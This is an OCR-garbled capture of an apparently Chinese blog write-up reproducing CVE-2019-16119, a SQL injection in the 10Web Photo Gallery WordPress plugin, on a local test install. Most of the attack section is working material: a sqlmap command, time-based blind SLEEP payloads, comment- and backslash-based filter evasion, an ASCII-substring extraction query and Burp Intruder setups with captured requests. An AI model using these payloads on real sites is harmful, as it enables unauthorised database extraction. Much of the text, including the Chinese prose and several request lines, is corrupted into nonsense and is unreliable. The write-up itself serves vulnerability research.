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User-agent: *

Disallow:
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Photo Gallery This plugin is a fully responsive gallery plugin with advanced functionality. It allows having different image galle
Deactivate combine them into albums, and provide descriptions and tags.

1.5.34RF7 | BPhoto Gallery Team | BESHENS | Support Forum | i de e e i
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NREAALTKNRAGBZRRAER B THEZHTHABEIT,

RBBIr28QLEA

WordPressfPhoto Gallerifitd 2 — 1T EESANEN 2N EEHE., EAFMRE
XENTEHEAINEEREE., BTN ELRBENE, BEeMESEMN, HIRMEE
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n B -
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Mobile-Friendly Galleries =
[ Photo Gallery by 10Web - Moblle Frlendly...

Hir fE HDIE EIHe 2217y

MR&E: 1556

Photo Gallery is the leading plugin for building beautiful mobile-friendly fE&: Photo Gallery Tean

lleries in a f i :

galleries in a Tew minutes R

Useful Links: MBWordPresshi&: 4.65H®
HEE: 542

Live Demo FEIXEE: 300,000+

Premium Photo Gallery by 10Web WordPress.orgifi{F T »

Special Offer for all Premium Plugins e

If you're looking for a user friendly and feature rich plugin to add EaTFR
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Search Results
‘There are 474 CVE entries that match your search.

Name Description
CVE-2020-9335 Multiple stored X55 vulnerabllities exist in the 10Web Photo Gallery plugin before 1.5.46 WordPress. Successful -:plolutj

user to inject arbitrary JavaScript code that is viewed by other users.

CVE-2020-9334 A stored XSS vulnerabllity exists in the Envira Photo Gallery plugin through 1.7.6 for WordPress. Successful exploitation
privileged user to inject arbitrary JavaScript code that is viewed by other users,

CVE-2020-8883 This vulnerabllity allows remote attackers to disclose sensitive Information on affected Installations of Foxit Studio Photo 3
vulnerability in that the target must visit 8 malicious page or open a malicious file. The specific flaw exists within the hand
validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverag
code in the context of the current process. Was ZDI-CAN-9880.

CVE-2020-8882 This vulnerabllity allows remote attackers to execute arbltrary code on affected Installations of Foxit Studio Photo 3.6.6.91
in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of the PS
Initialization of a pointer prior to accessing it. An attacker can leverage this vulnerabllity to execute code in the context of

CVE-2020-8881 This vulnerability allows remote attackers to axecute arbitrary code on affected installations of Foxit Studic Photo 3.6.6.91
in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of TIF
existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute «
9774,

CVE-2020-8880 This vulnarability allows rernote attackers to execute arbitrary code on affected installations of Faxit Studie Photo 3.6.6.91
in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of TIF fils
user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this vulners
process. Was ZDI-CAN-9773.

CVE-2020-8879 This vulnerability allews remote attackers to disclose sensitive information on affected installations of Foxit Studio Photo 3
vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw axists within the hand
proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can
axecute code in the context of the currant process, Was ZDI-CAN-9626,

CVE-2020-8878 This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Studio Photo 3.6.6.91
In‘thnt the target must visit a malicious page or open 2 rnalldnu‘: file. The specific flaw exists within the handling of PSD l'q

ROAXAEZEHEHNRREGEE, REMNAXBXORA, XU FXSSXELRFAXEZH AR
ZE BEEMI—THSHNCVE-2019-161198SQLENRE .

i

o execute code in the context of the current process. Was ZDI-CaN-8809.
CVE-2019-16119  SQL injection in the photo-gallery (10Wed Photo Gallery) plugin befors BERI3S for WordPress exists via the admin/controllers/Albumsgalleries.php slbum
CWE-20159-16118  Cross site scripting (X55) In the photo-gallery (10Web Photo Gallery) plugin before 1.5.35 for WordPress sxists via admin/controllers/Options.php.
CVE-2019-16117 Cross site scripting (X55) In the phote-gallery (10Web Photo Gallery) plugin before 1.5.35 for WordPress sxists via admin/models/Galleries.php.
CWE-2019-15524  €5Z CMS5 1.2.3 allows arbitrary file upload, a5 demonstrated by a .php file to admin/filemanager in the Fils Managemaent Module, which leads to remots
& photo/upload) 2019/ URL.
CWVE-2015-15380 The Fiy Phate Pro Andredd device with a build fingerprint of Fly/PhotePro/Phote_Pro:8.1.0/011019//15281 17003  user/release-keys containg a pre-insta

REEEER, ERENE - ITXHMHLA228TRFERE, ARBFANKENRA
BERERREZHTRBEHEI,
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e
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CVE-2019-16119 Learn mora at National Vulnerability Database (NVD)
* CWS5 Severity Raking « Fix Information « Vulnerable Software Verskons « SCAP Mappings  CPE Information

SQL Injection in the photo-gallery (10Web Photo Gallery) plugin bafore 1.5.35 for WordPress exists via the sdmin/controllars/Albumsgalieries.php album_id paramater.

Mote: Beferences ane prosided for the corvenbence of the reader to help distinguish between vulnerabilities. The list is not intended to be complefe.

MIER T, KMAMBIAE E min/controllers/Albumsgalleries.php X 4 1 1

album_id& %,

# & CVE ## /=~ & & Albumsgalleries.php X # , Z X & 2 — H
AlbumsgalleriesController_bwgZ, 8&album_idFEHW R BdisplayHiE.
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7, WA WordPressWIDBHTHIEEFEE W, UM B R U REMNAER B I IBIERE
HRRSMAIAHITSQLIEAN,
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=R, BEWNAHEXTIXHN, BREZXHFERZAIbumsgalleries,

https://mp.weixin.qq.com/s/JOIEU27yIPycloPvlo10aA

12/21



2020/7/27 BEWRZ BATOHE L

Find in Path viatch ¢ Wards

In Project Module Directory Scope

add_action('wp_ajax _EJ[JUGIWEIINEE * . $this-> prefix , array($this, ‘admin_ajax")); photo-gallery.php 137

to-gallery/photo-gallery.php

Open in Find Window

WordPressH fjadd_actionZ KMz EN, LM ANMBladmin_ajaxX &8, FE

BHET —1T8Sthis->prefixZH, EFRZZHUNIE,
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>define constants|

actions()

define constants()

home wurl(

BRINMERNbwg, FTRIEWOrdPressiIFI X B # HAWURLA I =2 ¢

http://localhost/wordpress-5.2.3/wp—-admin/admin-ajax.php?action=albumsgal

A ERSQLMap#TMIX, BEFHEEIN:

python sqlmap.py —-u "http://localhost/wordpress-5.2.3/wp—admin/admin-aja>

ORDER BY

1 AND (SELECT 5662 ]
ROM INFORMATION_SCHEMA. PLI

EANRIY, BEERNARMEER, LMREANIRBREEE.
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BRARZER

SN EDH, BRIOELXANTHXNERAAHATSQLIEN, ERERBHRITEERER
7‘3‘5%5@‘Eﬁﬁﬁi&ﬁiﬂﬂiﬁﬁ’\]wﬂ%, EMEMERETLZEBIFRE"RENR",

EREFICA] unable

‘*E”ul‘}imrﬁ—”‘éﬁ EiEIE_IJE: ”E]'Héﬁi!

£y A A
_I r _J\ i '-'.-.:-IEI ...._.- t .l\ _/\ ] = ‘_' | -. .-\'. '!- }

hrSTeE

A2 ]

|

1) 1SEIRENE;

BILZ2NH, RABIGEE —DstripslashesEE, ZRHET UMK R, X
M¥payload:

1 AND (SELECT 5603 FROM (SELECT(SLEEP(5)))yBYg)

LIS AR

1 AN\D (SELE\CT 5603 FR\OM (SEL\ECT(SL\EEP(5)))yBYg)

XEFEBEELMAIMNEEI 20N, IRRIEREYW, WXLRBR, WordPressFi B

GETZ2HFHSHEEFT\, FENWERMILE, BB -1, MNUIEABERT AN
.
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Request Response

1 GET fwordpresz-5. 2. 3/wp~adnin/adnin-ajax. phpTaction=albunzgal leries_bwgh |& ?_miﬁ ﬁ&ﬁm&igﬁmtpﬁnmﬁ}
albun_id=1%20ARIA20 (S\ELECT ROT2%20FROMNI0(SELECT (SLEEP(5))) %051} 3
HITFS 1.1

I Host: 192.168.27.1

1 Pragma: no=cache

4 Cache=Centrol: ne—cache

3 Upgrade-Insecure-Requests: 1

§ Uger-Agent: MNozilla/S. 0 (Windows NT 10.0; TOWEL) AppleWebKit/537.36
(EHTML. like Gecko) ChromeS75.0.3770. 142 Safari/537. 36

FTEFETHNRAFTSTIRMNIN, EEEREHNHBF, IRXEZHNANZ ERET
Sy, bl wEBRHR, ARKEIREFS.

LBz EARETHENE Epayload 2 FHEN:

admin-ajax.php?action=albumsgalleries_bwg&album_id=1 AND (SELECT 4072 FR(

BEREEER Zpayload#ITIHRISEERLTEREZE,

poquh B K A

BRERERASESH, CHRNIEERRSEI=H!
oJgdRA: RN A R EERAIEIEK

QMoIRE AR :
1) RERTAR,;
2) WRHTE, BERATEIRRS;
3) ZERUSAE, BRAMLEERER;

BRURER:

admin-ajax.php?action=albumsgalleries_bwg&album_id=1 AND (/*!SELECT/*!'/%*/

MASHIZE, BSELECTHMSLEEPEXRIEERAANEKIRN AN LBREER, MU
SZE TR,
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BE—RETHENEIXNZRLFIENASCIBEHRATLEY, EFRRTHENTSH
MREDEBInFBASCIIEE, tLll:

select if(ascii(substr(database(),1,1))>100,sleep(10),1)

MRYAIHNIEEE 1" FEBELBFNASCIHEBEATFTI00MSERI10MIRE, WRASCII
BENFI00MEsERZERL, EIXENAXITUREEMLIBIEERZRNE —1TFF,
B2 ZEMMMEBRTELZEHNUIN, TEEFASGHNITIE,

validate data(&

WordPressEH® Mesc_htmIBEE <> & "' (IhNF5, KF5, &, W3l 5, &5
) wE, ERHTML L, ELE2XAHRNHAER, MUERRSQLEANEZENSQLIE
DAEFEALRFTS, EEREUMNERES, WMERE—TASCIBE—TASCIEBERN
STEE, R#FITSQLEFEAN. REHIZELH KRN payloadl T

http://192.168.121.128/wordpress—-5.2.3/wp—admin/admin—-ajax.php?action=alt

BREAEIMIEIT R Zpayload T2 L EHEE, MBNZE2and XN XBEAEIIRE
T, FARBHAABandrN%26%26F itk payload:

http://192.168.121.128/wordpress-5.2.3/wp—admin/admin—-ajax.php?action=alt

X payloadBRRE/AEZET, EREFKRE, RBRRSQLIBEERE IR,
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GET Swordpreas-5. 2. 3vp-aduin/ sduin-apex. phpTact iesmulbunsgnl lexies_bwgh &

"Teaverveas ™, " Tevada”: "levada] ; |

mlbus_id= af e Ja owy
INAZEASERT0 U o SELBC T/ o7 /0 00/ 0 /A 2040T N I0FRONA0 /9 SELICT/#" fo/wafe/ LI T T E
{8 {nscai (nshain Cdatabase (1, 1, 1V =110, /8! ghaep/ s Fofasnfay (100, 13 IXOS:0 '] script type=" textS jevascript” sro="
HITPY1.1 hitp: SF180. 188, 120, 120 wopdpress=5. 2, Wvp=content/plugins/phate=gal Leay! juftweg. JeMver=1. &,
I Bemt: 10 163 121,138 W rifpTipt?
I Fragma me-cache 15 CRETApAY
4 CathaComtral  nécache & var ajezur] = “hatp SOURC. 168, 100, 28 werdprede i T Wvpraduin/ednin-ajan. php” |
5 Opgrade-Insecure—Reguests | 50 fseraipty
6 Der-Agest: EszillafS. 0 (Windows NT 10.0. WOWS4) AppleTebLieS337.38 518 Aav e errer” p elazs="wpdber lu'--:um'-'l’uﬂonhﬂ:llnihh “fsnpeng [Yeu Baos
(EHTML. like Cecked Chreme’TH 0. 3770, 142 Safary 535, 38 an errer im your SOl mwmesw check the . ey RS0l server
T Adepl versiem fex the roght swmiex té use me 1.|"I‘SI1.IC'I.FI'.|"I.|""!H 4052 FROE
text/hanl. spplicst enxhonl soul. sppliowt ien/sul | ged. B, inage vebp. Luagen e SELBCT w0 fafenSuy (If (mmeuy dsubsor (£ iy Sropede s (SELECT 1d mams.
ALH & sppliowt ien' “w=hl R lished. 1 e FRON 1tam THERE 14
oo Rt thin Wi Ei‘m‘m T T o i b '
¥ Mocept=Lompasge  sh-CR. zhoq=0. § it I dgubstr (databage (0, L. 11 1=110, /o gleeps! fafonfuf (100, 1) 0005
0 Coskir  werdpress, Mlosd TEREILEEL Led] ThRchedSedb Rda= ik
sdmirA TC ] SRS S TR TO R cohi 1 S0al [ o Th ANz R Ry T QB SODFE I SVHE] T BN T Bewila 52 UHICH ALL
Auidanf5lbe IcScalBO5EL L Mol ISR SenBad b A 100 31 w8471 2 2adE; 538 (SELECT id. mame. preview_ image, randoa preview_isage, publiched. O a2
werdpress_ test_coskyes TPl sokyrvcheck | 18 _album FRON wp_bwg_gallevy ) OFDER BY iz albesm sse LINIT O 20<fesdesfpiafdyasiduv ads
wardpress_legged_in_JIleadTEREME511ed] Thlched5edbIdne "erpaE” g elu—'w"m"ﬂsuut:'I‘u'nllh!il By fanpesg’ [You have &n ¢VESE LR
w1 MR AA T OO IO R e TNl T S [ o 2 A n BBy T B SU P05 S ] Ty lAR T e 1 wour SOL synusx; check the mamual that cervespesds v yveur BySOL server versies fox the
eFedfe 34l sada’ ib1 TRERRIRIS0c 100 T 2aal a0 1hec A T haa T e 104 N right ayetex o use mear E5009 Dawp sap: 5% SELECT e fafesfey JO072 FRON
wpesrtingr-tane=1=1 352006064 MEPSESSID=dincn 208t gf Lpnl ddallgd e RILECT/ ot S enfoyd (T (mpon dsubsir (dat&=039 ot line 1]<ha /oicederSELECT COGET(*) FRON
1 Connsctnom: close (ISELECT ad name, previev_images. randsa_previev_image. published. 1 as s albas FRON
H wp_beg_albus THERE id Slt:dgt: | Sawp oap fasp asp: 00 SELECTS " fofenfay §OT2 FRON
1 e FELECT/ " S fonfuy (Tf (mecid (substa (databage (b, L 110 =100, /% gleep ! Sofonf ol (105, 100 V05
ar
54 UNICH AL
558 (SELECT id. naws. preview_image, randes_previer_inage, publiched. 0 as
19_nlbem FRON wp_bwg_gallery 1) a2 vespd/coder<fpidfdividdiv elasse="vrap wh-vragrajmx™ >
558 farm
- AT
hivp: SFI63 168, 120, 120 wordpress=0. 2. 3 vp=sduin/ sdsan-ajax. phptactiwealbussgal leries_bwgh'
anp: nlban_id=1 Genp bamp: 50 SELECTS ot fafunfef 4002 FROM
0, A = N R = 13 2 \ \ - = 1o
S26BMAIHEMENS &, IFEAITTREHHNMN, EREFEHesc_html

)I% “ » Irk E
~

MEBRAXRKT,

and, & MWpayloadil T:

FTIAS HSQLIEO IR .

EMERABKREIRKLRE

http://192.168.121.128/wordpress-5.2.3/wp—admin/admin-ajax.php?action=alt

HASCIIRB{E—

B E, BFEBEERI0DI

CET feerdpreddb. 1. Wvp-adein/adain-ajax, phpTastico=albunsgal leg ues beghalbua_id=

IR0 ot mnds et S oS enS o N0 o SELECT/ 0" S oS0 fa SN 20L0TINIOFROIN D0 L/ 0" SELECT 0! fafwnfe
SUEE (ases s {subsne (database (), 0, DFF=110, S0 ghaepSo® fofanfaf (000, DFFINOSY HITR/1. 1

Bean: 182 165.121. 078

Baer=Agemt: NenillefS § (Mindews BT 10, 0: TOTE0 AppleWebLin 330, 34 (DMTME. like
Gecke) Choeses T8 0, 3770. 142 Safara/ 537, 36

Boceph

text/himl. applicat pem/shinl+zsl. spplicet ion/sul  q=0, ¥, inagevebp. image agng. /% g
& &, applacat ion' s 1 gred=exchange v=h]

Accepi=Enceding gaip. deflate

Aecepi-Lampuage s3-CE sh. g=0. %

Coskin werdprese, Ilead TEERLRE] Lodl ThEchedSedhde

ki 0 ) BFIES THEIRTCE coThl 1 SMaE [ e ThAN=ERs [ gESORFE SIS ] Ty AN TC Be e dada Daa 65T de
Be8alB0EES L ebB1LET LI Soe Bad TREEI 1] 08471 27008 | verdpreaa te3t coskies
Treloskescheck | wordpresa_lepped_in_ 12ead 39606851 ledl ThicbedSedhlde=

el T B TE S THEON TS fea ThL 1 SMaE Fo ThATaES ToESORFRISTRS] Ty el 10 e e T 1efe 49 3d1a
ada’ b TREEREL IS0 1150 T Taal 0] hec i baa e 104 N . wpeseruings-Tane-1=1 352406084 ;
PHPSES S 10 bnrm 2 106 g i 1 g b T2 8

Comnection close

HASCIBER—

AV BT fi%

https://mp.weixin.qq.com/s/JOIEU27yIPycloPvlo10aA

3 Galleries / Gallery groups pr— 3

Tithe

o galerses or gallery groups fourd.

0 erabchrs. | v

Al

49,869 bytes | 21,275 milis
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| GET Fecpdpress=5. 2, Mep-sduin/ sdsin~uajax. phptect ieomalbunsgal leg sez bwglalbus id= |8

IR0/ 0 a0 0 SELEC I/ 0" F o ea o /N I000T N OFROMN0 (F0 ' SELECL/ o fofunjn i
SUIE (msenn (subarr (dwabage(t. 1, 10 )=1080 /7 aleeps/®" Ao/ onfaf {100, 101100540 HTTR 1.1 Galleries / Gﬂ"Ef}" groLips =
I Best: 152160 13103
1 Prages: po=cache
4 Cache=Coptrol: no-cache
b Upgrade- [nsecare-Reguests: |
& Desr=Agent. Nexillafh O (Tumdows BT 10.0; TOTEL) AppleTeblun/537. 30 (INTNL. luks Tithe
Gacks) Chrowe/ S50, JIT0, 142 Safenu /537, 14
T Aggwpt
tezt/heal, application/chtalsxal, spplication/zal el §. inage/webp, inage/apng, 00 q= Ne: galerts or Qallery Qroups found

BEMNRZ RATH S

O 5 applican sen' s gred- exchange w=bl

§ Becept=Emcodimg grip. deflete

¥ Becepi~Language sheCH. ghoge=0. 0

10 Coskie wardpress, Xoosd TEREFLES] Lod]l Thlche d5edb dde=
adairh T LSOZEETIR0NICS [ eo bl [SNak [ Thd=Bls ToE SABFL IS TIS] T ra PN OB e e bade Daa 852 4
Be@eulE0iad 14T ehf 1B 5000 bee Sad b 100 I 084 T 22040 wandprena_vean_coskies
TPl pohietcheck . werdpress_logged_un_ I2cad TEREFLDE] Lodl Thlebe d5edh T da=
wdminhIC RSO RTHA0NICE] oo ik [ 5Mel ] ¢ Shl Uy 1B ST bF b FREE] Srs AR i e D Lefedic Id1a
S2a7 61 THIERAIS0C 19T Jualdd L bec B5ban T f o BEATY 0, wp-settbnget ine-1=] BT ARE0EL, |
PEPSESSID=dSmenty s 08T g4l I gl dbulgs

11 Comnection close

— L
@ |= IL—I mo| | Tiow & stareh b 0 matches. \ ]L
Dione 45 459 bytes | 1,306 mills

— PN —TNFINILERM, XABEERA, EANE? JAEEEFBurp Suite
BintruderiE R HFITIE D L E,

@

Payload Positions
Configuen the postions where payloads will b insered imlo the base request. The atack type determines the way i which payloads ae assigned to payload positions - see help for hall
datails.

Adtack type: | Sniper

1 GET fwerdpress-5. 2, Mvpradmin/sdsin-ajax. phptactionmalbussgal levies_buphalbun_id=
182070 grd /et Sofunfe/y20 (0! SELECT/ 0! fof we o /N 20407 MI0FRON0 (/0! SELECT/ o fofun/af (If {nzcii (aubstr (databaze (). 1, 1) )= F 116 E. /o' aleaps/e! fofonfu/ (100, 1)
1%es: HIR L0

2 Best: 192.188.121.128

I Pragma: ne-cache

4 Cache~Contrel: ne-cache

5 Upgrade-Inzecure-Requezts; |

6 User-Agent: Nozilla/5.0 (Vindows NT 10.0: WOWE4) AppleWebDit/537.34 (KHTML. like Geckol Chrowe/TH 0.3770. 142 Safarai/537. 34

T Accept; text/html. applicatien/zhinléxal. spplication/zul g=0. 9. ymage/webp. 1uage/npag. /9 qo0. 5, spplicationSsigned-exchange . v=bl

& Accept=-Encoding: gzip. deflate

% Accept=Langunge: =h=CH. zh;gqe0. 8

10 Cookie: wordpress_Jlcad TER65b9511cdl ThichedSedbIda=
mdman&TC1S9Z657080N TC5 ] coThl 1 SMeE ] c Zb L xBEr TqESTbFhISTS5x ] TwsMARN TC Scedndeaef5 240 1 cBoal B0 5L 1 4 ebf1b3E46S GeeBad b G307 T w64 T2 20d8
wordpress_test_cockie=TPe{oskietcheck. wordpress_logged_in_XlcadTE9680551 1cdl ThichedSedblda=
mdmind TCLSO265 708N TCS JcaThl 15MaE ] c 2h LTxBEr TqESfWFhISTS0x ] TweMARN TCGre T 1eRedfc Tdlanfat 4bl ThEE04L IS0 11587 2aa2d0] 1 bec95hanT feI0d hfn;
wpesettings=t ime=1=1502406064 ;. PEPSESSID=d5mcmSv2 3067 gdf LgnSdfulles

11 Conmection clase

12

12

118 AL E AR AN K

ar=

=
X E o

https://mp.weixin.qq.com/s/JOIEU27yIPycloPvlo10aA
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' @ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions
and each payload type can be customized in different ways.

Payload set: |1 !j Payload count: 79

Payload type: [IMmhers H Request count: 79

@ Payload Options [Mumbers]
This payload type generates numeric payloads within a given range and in a specified format.

Mumbser range

Type: @® Sequential () Random
From: _dﬂ

To: 126

Step: 1

How many:

ASCIIBE548-12651T, AIEHMNBE —LEFSHLANELATUIIERE, BARIERE
RE, HEHREMIOWIER, INAEEINBRERERNERIBTESEM M

zEu'zIEE%E’\Jo

MTWI%M:'WIDWM] I

Filter: Showing all items ©
'Reguest « | Payload (Status | Emor | Timeout | Length | Comment |

70 17 200 ] [ a9469 =

m 118 200 o ] 49469

72 119 200 o [ 49469

73 120 200 O L] 49489

74 121 200 ] [ 49489

75 122 200 [ ] 49489

76 123 200 O O 49469

77 124 200 O 00 49469

78 125 200 0 O 4469 )
79 (126 | 200 O O 49 [¥)

Response
o Params | vosiors [
1 GET /wordpress-5. 2. 3/wp—adnin/adsin-ajax. phpPaction=albussgalleries_beghalbus_id=

1%20/#! and/*! fe /e /e /820 (/¢! SELECT/#' /+/#+/+/%2040T2%20FROMNO (/ #! SELECT/ *! o/ #2/%/ (If (ascii (substr (database (), 1.
11)=126, /#! sleep/®! fo/su/uf (100, 1)) 1X051) HTTR/1.1

WU ERARATEWRMBIET, HIEHMEM,

RAMABXEMERT, BT ARXMENBNZRNFEANE, FANREHITEER
E.

https://mp.weixin.qq.com/s/JOIEU27yIPycloPvlo10aA 20/21
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HhE

AXNFTEZBEIGEEKREHRAANTES, XX WoedPressiJPhoto Galler#i &4 #1715
E$ﬁ,Kﬂﬁﬁ%ﬂ&%hﬂ%ﬂﬁ$ﬁﬂ?§@%?,E%ﬂﬁ@%?%&%ﬂ%
ARRA .

AEAXRDEFEXIEIRIER, HIRS iFL, HRE P TSR, ERERME
BREBFREHTIL, 7TEUNEE, IRBEIELZEZREFLEENERL, REFAEEER
LERFEHRTNN, EFBEN, WNANEIEEEZLLHRRNR, JURDRZ KB,

MEER THHE

PEIMARE, APARESE, SHERASR

REZHRXE B UF7SSERA
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